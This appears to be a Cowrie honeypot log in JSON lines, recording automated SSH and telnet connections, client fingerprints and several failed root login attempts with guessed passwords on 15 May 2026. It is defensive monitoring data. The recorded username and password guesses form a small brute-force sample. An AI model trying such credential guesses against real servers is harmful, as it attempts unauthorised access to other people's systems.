{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:43.376506Z","src_ip":"67.102.183.113","session":"7520621d84b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":43288,"dst_ip":"159.203.135.109","dst_port":22,"session":"58feed1b7da0","protocol":"ssh","message":"New connection: 202.29.225.206:43288 (159.203.135.109:22) [session: 58feed1b7da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:31.608678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:31.613370Z","src_ip":"202.29.225.206","session":"58feed1b7da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:31.854514Z","src_ip":"202.29.225.206","session":"58feed1b7da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"argo","message":"login attempt [root/argo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:32.862869Z","src_ip":"202.29.225.206","session":"58feed1b7da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":54676,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be993027b20","protocol":"ssh","message":"New connection: 163.7.9.84:54676 (10.17.0.5:22) [session: 3be993027b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:33.649973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:33.655107Z","src_ip":"163.7.9.84","session":"3be993027b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:33.898623Z","src_ip":"163.7.9.84","session":"3be993027b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:34.107301Z","src_ip":"202.29.225.206","session":"58feed1b7da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ss12345","message":"login attempt [root/ss12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:34.919870Z","src_ip":"163.7.9.84","session":"3be993027b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:36.170687Z","src_ip":"163.7.9.84","session":"3be993027b20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":47454,"dst_ip":"10.17.0.5","dst_port":22,"session":"339c4c56e606","protocol":"ssh","message":"New connection: 124.121.31.17:47454 (10.17.0.5:22) [session: 339c4c56e606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:36.765297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:36.770664Z","src_ip":"124.121.31.17","session":"339c4c56e606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:37.035786Z","src_ip":"124.121.31.17","session":"339c4c56e606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ss12345","message":"login attempt [root/ss12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:38.130083Z","src_ip":"124.121.31.17","session":"339c4c56e606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:39.397822Z","src_ip":"124.121.31.17","session":"339c4c56e606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":49762,"dst_ip":"159.203.135.109","dst_port":22,"session":"1732eb8457a5","protocol":"ssh","message":"New connection: 186.116.56.108:49762 (159.203.135.109:22) [session: 1732eb8457a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:55.276946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:55.282073Z","src_ip":"186.116.56.108","session":"1732eb8457a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:55.380871Z","src_ip":"186.116.56.108","session":"1732eb8457a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1928","message":"login attempt [root/1928] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:55.792998Z","src_ip":"186.116.56.108","session":"1732eb8457a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:40:56.890938Z","src_ip":"186.116.56.108","session":"1732eb8457a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":33222,"dst_ip":"10.17.0.5","dst_port":22,"session":"33927128d7e5","protocol":"ssh","message":"New connection: 67.102.183.113:33222 (10.17.0.5:22) [session: 33927128d7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:16.584854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:16.590004Z","src_ip":"67.102.183.113","session":"33927128d7e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:16.661015Z","src_ip":"67.102.183.113","session":"33927128d7e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitches","message":"login attempt [root/bitches] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:16.976730Z","src_ip":"67.102.183.113","session":"33927128d7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:18.050980Z","src_ip":"67.102.183.113","session":"33927128d7e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":35110,"dst_ip":"159.203.135.109","dst_port":23,"session":"11ad61a9730d","protocol":"telnet","message":"New connection: 199.103.57.63:35110 (159.203.135.109:23) [session: 11ad61a9730d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:48.935495Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":53936,"dst_ip":"159.203.135.109","dst_port":22,"session":"238318bc3300","protocol":"ssh","message":"New connection: 202.29.225.206:53936 (159.203.135.109:22) [session: 238318bc3300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:58.496071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:58.501004Z","src_ip":"202.29.225.206","session":"238318bc3300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:58.744430Z","src_ip":"202.29.225.206","session":"238318bc3300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doabarrelroll","message":"login attempt [root/doabarrelroll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:41:59.753701Z","src_ip":"202.29.225.206","session":"238318bc3300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:01.000684Z","src_ip":"202.29.225.206","session":"238318bc3300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":48576,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a2201e1e006","protocol":"ssh","message":"New connection: 186.116.56.108:48576 (159.203.135.109:22) [session: 6a2201e1e006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:17.480905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:17.485794Z","src_ip":"186.116.56.108","session":"6a2201e1e006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:17.581862Z","src_ip":"186.116.56.108","session":"6a2201e1e006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm!@","message":"login attempt [root/zxcvbnm!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:17.993911Z","src_ip":"186.116.56.108","session":"6a2201e1e006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":44578,"dst_ip":"159.203.135.109","dst_port":22,"session":"04f5576d8589","protocol":"ssh","message":"New connection: 130.12.181.85:44578 (159.203.135.109:22) [session: 04f5576d8589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:18.139323Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:18.811050Z","src_ip":"130.12.181.85","session":"04f5576d8589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:19.089965Z","src_ip":"186.116.56.108","session":"6a2201e1e006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.16","src_port":48914,"dst_ip":"10.17.0.5","dst_port":22,"session":"4279765bb13f","protocol":"ssh","message":"New connection: 89.45.12.16:48914 (10.17.0.5:22) [session: 4279765bb13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.120555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.124804Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.25444746017456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.189828Z","src_ip":"199.103.57.63","session":"11ad61a9730d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:42:21.251842Z","src_ip":"89.45.12.16","session":"4279765bb13f","protocol":"ssh"}
